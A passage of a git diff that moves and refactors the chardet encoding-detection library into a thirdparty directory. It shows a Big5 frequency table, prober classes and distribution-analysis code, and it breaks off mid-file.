700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, # 2992 +4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, # 3008 +4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, # 3024 +2699,1516,3614,1121,1082,1329,3317,4073,1449,3873, 65,1128,2848,2927,2769,1590, # 3040 +3874,5370,5371, 12,2668, 45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, # 3056 +3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, # 3072 +2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, # 3088 +1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, # 3104 +4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, # 3120 +3736,1859, 91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, # 3136 +3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, # 3152 +2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, # 3168 +4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771, 61,4079,3738,1823,4080, # 3184 +5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, # 3200 +3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, # 3216 +2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, # 3232 +3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, # 3248 +1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, # 3264 +2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, # 3280 +3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, # 3296 +4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063, 56,1396,3113, # 3312 +2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, # 3328 +2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, # 3344 +5418,1076, 49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, # 3360 +1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, # 3376 +2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, # 3392 +1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, # 3408 +3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, # 3424 +4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629, 31,2851, # 3440 +2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, # 3456 +3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, # 3472 +3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, # 3488 +2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, # 3504 +4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, # 3520 +2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, # 3536 +3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, # 3552 +4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, # 3568 +5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, # 3584 +3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, # 3600 + 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, # 3616 +1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412, 42,3119, 464,5455,2642, # 3632 +4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, # 3648 +1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, # 3664 +4701,5462,3020, 962, 588,3629, 289,3250,2644,1116, 52,5463,3067,1797,5464,5465, # 3680 +5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, # 3696 + 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, # 3712 +5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, # 3728 +5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, # 3744 +2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, # 3760 +3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, # 3776 +2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, # 3792 +2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, # 3808 + 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, # 3824 +1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, # 3840 +4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, # 3856 +3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, # 3872 +3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, # 3888 + 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, # 3904 +2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, # 3920 + 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, # 3936 +2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, # 3952 +4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, # 3968 +1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, # 3984 +4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, # 4000 +1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, # 4016 +3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, # 4032 + 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, # 4048 +3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, # 4064 +5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, # 4080 +5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, # 4096 +3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, # 4112 +3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, # 4128 +1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, # 4144 +2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, # 4160 +5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, # 4176 +1561,2674,1452,4113,1375,5549,5550, 47,2974, 316,5551,1406,1591,2937,3181,5552, # 4192 +1025,2142,3125,3182, 354,2740, 884,2228,4369,2412, 508,3772, 726,3638, 996,2433, # 4208 +3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, # 4224 + 919,2352,2975,2353,1270,4727,4115, 73,5556,5557, 647,5558,3259,2856,2259,1550, # 4240 +1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, # 4256 +4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, # 4272 +5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, # 4288 +2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, # 4304 +3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, # 4320 + 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, # 4336 +1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, # 4352 +2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, # 4368 +2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, # 4384 +5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, # 4400 +5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, # 4416 +5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, # 4432 +2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, # 4448 +2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, # 4464 +1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, # 4480 +4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, # 4496 +3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, # 4512 +3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, # 4528 +4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, # 4544 +4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, # 4560 +2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, # 4576 +2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, # 4592 +5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, # 4608 +4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, # 4624 +5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, # 4640 +4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, # 4656 + 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, # 4672 + 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, # 4688 +1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, # 4704 +3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, # 4720 +4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, # 4736 +1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, # 4752 +5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, # 4768 +2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, # 4784 +2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, # 4800 +3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, # 4816 +5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, # 4832 +1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, # 4848 +3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, # 4864 +5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, # 4880 +1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, # 4896 +5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, # 4912 +2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, # 4928 +3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, # 4944 +2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, # 4960 +3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, # 4976 +3932,1988, 618, 427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, # 4992 +3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, # 5008 +4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, # 5024 + 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, # 5040 +2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, # 5056 +4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, # 5072 +3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, # 5088 +5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, # 5104 +1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, # 5120 +5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, # 5136 + 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, # 5152 +1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, # 5168 + 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, # 5184 +4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, # 5200 +1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, # 5216 +4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, # 5232 +1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, # 5248 + 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, # 5264 +3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, # 5280 +4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, # 5296 +5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, # 5312 + 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328 +3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344 + 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360 +2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 +) + diff --git a/extra/chardet/big5prober.py b/thirdparty/chardet/big5prober.py old mode 100755 new mode 100644 similarity index 73% rename from extra/chardet/big5prober.py rename to thirdparty/chardet/big5prober.py index e6b52aadbab..98f99701220 --- a/extra/chardet/big5prober.py +++ b/thirdparty/chardet/big5prober.py @@ -1,11 +1,11 @@ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. -# +# # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. -# +# # Contributor(s): # Mark Pilgrim - port to Python # @@ -13,29 +13,35 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from mbcharsetprober import MultiByteCharSetProber -from codingstatemachine import CodingStateMachine -from chardistribution import Big5DistributionAnalysis -from mbcssm import Big5SMModel +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import Big5DistributionAnalysis +from .mbcssm import BIG5_SM_MODEL + class Big5Prober(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(Big5SMModel) - self._mDistributionAnalyzer = Big5DistributionAnalysis() + super(Big5Prober, self).__init__() + self.coding_sm = CodingStateMachine(BIG5_SM_MODEL) + self.distribution_analyzer = Big5DistributionAnalysis() self.reset() - def get_charset_name(self): + @property + def charset_name(self): return "Big5" + + @property + def language(self): + return "Chinese" diff --git a/thirdparty/chardet/chardistribution.py b/thirdparty/chardet/chardistribution.py new file mode 100644 index 00000000000..c0395f4a45a --- /dev/null +++ b/thirdparty/chardet/chardistribution.py @@ -0,0 +1,233 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .euctwfreq import (EUCTW_CHAR_TO_FREQ_ORDER, EUCTW_TABLE_SIZE, + EUCTW_TYPICAL_DISTRIBUTION_RATIO) +from .euckrfreq import (EUCKR_CHAR_TO_FREQ_ORDER, EUCKR_TABLE_SIZE, + EUCKR_TYPICAL_DISTRIBUTION_RATIO) +from .gb2312freq import (GB2312_CHAR_TO_FREQ_ORDER, GB2312_TABLE_SIZE, + GB2312_TYPICAL_DISTRIBUTION_RATIO) +from .big5freq import (BIG5_CHAR_TO_FREQ_ORDER, BIG5_TABLE_SIZE, + BIG5_TYPICAL_DISTRIBUTION_RATIO) +from .jisfreq import (JIS_CHAR_TO_FREQ_ORDER, JIS_TABLE_SIZE, + JIS_TYPICAL_DISTRIBUTION_RATIO) + + +class CharDistributionAnalysis(object): + ENOUGH_DATA_THRESHOLD = 1024 + SURE_YES = 0.99 + SURE_NO = 0.01 + MINIMUM_DATA_THRESHOLD = 3 + + def __init__(self): + # Mapping table to get frequency order from char order (get from + # GetOrder()) + self._char_to_freq_order = None + self._table_size = None # Size of above table + # This is a constant value which varies from language to language, + # used in calculating confidence. See + # http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html + # for further detail. + self.typical_distribution_ratio = None + self._done = None + self._total_chars = None + self._freq_chars = None + self.reset() + + def reset(self): + """reset analyser, clear any state""" + # If this flag is set to True, detection is done and conclusion has + # been made + self._done = False + self._total_chars = 0 # Total characters encountered + # The number of characters whose frequency order is less than 512 + self._freq_chars = 0 + + def feed(self, char, char_len): + """feed a character with known length""" + if char_len == 2: + # we only care about 2-bytes character in our distribution analysis + order = self.get_order(char) + else: + order = -1 + if order >= 0: + self._total_chars += 1 + # order is valid + if order < self._table_size: + if 512 > self._char_to_freq_order[order]: + self._freq_chars += 1 + + def get_confidence(self): + """return confidence based on existing data""" + # if we didn't receive any character in our consideration range, + # return negative answer + if self._total_chars <= 0 or self._freq_chars <= self.MINIMUM_DATA_THRESHOLD: + return self.SURE_NO + + if self._total_chars != self._freq_chars: + r = (self._freq_chars / ((self._total_chars - self._freq_chars) + * self.typical_distribution_ratio)) + if r < self.SURE_YES: + return r + + # normalize confidence (we don't want to be 100% sure) + return self.SURE_YES + + def got_enough_data(self): + # It is not necessary to receive all data to draw conclusion. + # For charset detection, certain amount of data is enough + return self._total_chars > self.ENOUGH_DATA_THRESHOLD + + def get_order(self, byte_str): + # We do not handle characters based on the original encoding string, + # but convert this encoding string to a number, here called order. + # This allows multiple encodings of a language to share one frequency + # table. + return -1 + + +class EUCTWDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(EUCTWDistributionAnalysis, self).__init__() + self._char_to_freq_order = EUCTW_CHAR_TO_FREQ_ORDER + self._table_size = EUCTW_TABLE_SIZE + self.typical_distribution_ratio = EUCTW_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for euc-TW encoding, we are interested + # first byte range: 0xc4 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char = byte_str[0] + if first_char >= 0xC4: + return 94 * (first_char - 0xC4) + byte_str[1] - 0xA1 + else: + return -1 + + +class EUCKRDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(EUCKRDistributionAnalysis, self).__init__() + self._char_to_freq_order = EUCKR_CHAR_TO_FREQ_ORDER + self._table_size = EUCKR_TABLE_SIZE + self.typical_distribution_ratio = EUCKR_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for euc-KR encoding, we are interested + # first byte range: 0xb0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char = byte_str[0] + if first_char >= 0xB0: + return 94 * (first_char - 0xB0) + byte_str[1] - 0xA1 + else: + return -1 + + +class GB2312DistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(GB2312DistributionAnalysis, self).__init__() + self._char_to_freq_order = GB2312_CHAR_TO_FREQ_ORDER + self._table_size = GB2312_TABLE_SIZE + self.typical_distribution_ratio = GB2312_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for GB2312 encoding, we are interested + # first byte range: 0xb0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char, second_char = byte_str[0], byte_str[1] + if (first_char >= 0xB0) and (second_char >= 0xA1): + return 94 * (first_char - 0xB0) + second_char - 0xA1 + else: + return -1 + + +class Big5DistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(Big5DistributionAnalysis, self).__init__() + self._char_to_freq_order = BIG5_CHAR_TO_FREQ_ORDER + self._table_size = BIG5_TABLE_SIZE + self.typical_distribution_ratio = BIG5_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for big5 encoding, we are interested + # first byte range: 0xa4 -- 0xfe + # second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char, second_char = byte_str[0], byte_str[1] + if first_char >= 0xA4: + if second_char >= 0xA1: + return 157 * (first_char - 0xA4) + second_char - 0xA1 + 63 + else: + return 157 * (first_char - 0xA4) + second_char - 0x40 + else: + return -1 + + +class SJISDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(SJISDistributionAnalysis, self).__init__() + self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER + self._table_size = JIS_TABLE_SIZE + self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for sjis encoding, we are interested + # first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe + # second byte range: 0x40 -- 0x7e, 0x81 -- oxfe + # no validation needed here. State machine has done that + first_char, second_char = byte_str[0], byte_str[1] + if (first_char >= 0x81) and (first_char <= 0x9F): + order = 188 * (first_char - 0x81) + elif (first_char >= 0xE0) and (first_char <= 0xEF): + order = 188 * (first_char - 0xE0 + 31) + else: + return -1 + order = order + second_char - 0x40 + if second_char > 0x7F: + order = -1 + return order + + +class EUCJPDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(EUCJPDistributionAnalysis, self).__init__() + self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER + self._table_size = JIS_TABLE_SIZE + self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for euc-JP encoding, we are interested + # first byte range: 0xa0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + char = byte_str[0] + if char >= 0xA0: + return 94 * (char - 0xA1) + byte_str[1] - 0xa1 + else: + return -1 diff --git a/thirdparty/chardet/charsetgroupprober.py b/thirdparty/chardet/charsetgroupprober.py new file mode 100644 index 00000000000..8b3738efd8e --- /dev/null +++ b/thirdparty/chardet/charsetgroupprober.py @@ -0,0 +1,106 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import ProbingState +from .charsetprober import CharSetProber + + +class CharSetGroupProber(CharSetProber): + def __init__(self, lang_filter=None): + super(CharSetGroupProber, self).__init__(lang_filter=lang_filter) + self._active_num = 0 + self.probers = [] + self._best_guess_prober = None + + def reset(self): + super(CharSetGroupProber, self).reset() + self._active_num = 0 + for prober in self.probers: + if prober: + prober.reset() + prober.active = True + self._active_num += 1 + self._best_guess_prober = None + + @property + def charset_name(self): + if not self._best_guess_prober: + self.get_confidence() + if not self._best_guess_prober: + return None + return self._best_guess_prober.charset_name + + @property + def language(self): + if not self._best_guess_prober: + self.get_confidence() + if not self._best_guess_prober: + return None + return self._best_guess_prober.language + + def feed(self, byte_str): + for prober in self.probers: + if not prober: + continue + if not prober.active: + continue + state = prober.feed(byte_str) + if not state: + continue + if state == ProbingState.FOUND_IT: + self._best_guess_prober = prober + return self.state + elif state == ProbingState.NOT_ME: + prober.active = False + self._active_num -= 1 + if self._active_num <= 0: + self._state = ProbingState.NOT_ME + return self.state + return self.state + + def get_confidence(self): + state = self.state + if state == ProbingState.FOUND_IT: + return 0.99 + elif state == ProbingState.NOT_ME: + return 0.01 + best_conf = 0.0 + self._best_guess_prober = None + for prober in self.probers: + if not prober: + continue + if not prober.active: + self.logger.debug('%s not active', prober.charset_name) + continue + conf = prober.get_confidence() + self.logger.debug('%s %s confidence = %s', prober.charset_name, prober.language, conf) + if best_conf < conf: + best_conf = conf + self._best_guess_prober = prober + if not self._best_guess_prober: + return 0.0 + return best_conf diff --git a/thirdparty/chardet/charsetprober.py b/thirdparty/chardet/charsetprober.py new file mode 100644 index 00000000000..eac4e598657 --- /dev/null +++ b/thirdparty/chardet/charsetprober.py @@ -0,0 +1,145 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +import logging +import re + +from .enums import ProbingState + + +class CharSetProber(object): + + SHORTCUT_THRESHOLD = 0.95 + + def __init__(self, lang_filter=None): + self._state = None + self.lang_filter = lang_filter + self.logger = logging.getLogger(__name__) + + def reset(self): + self._state = ProbingState.DETECTING + + @property + def charset_name(self): + return None + + def feed(self, buf): + pass + + @property + def state(self): + return self._state + + def get_confidence(self): + return 0.0 + + @staticmethod + def 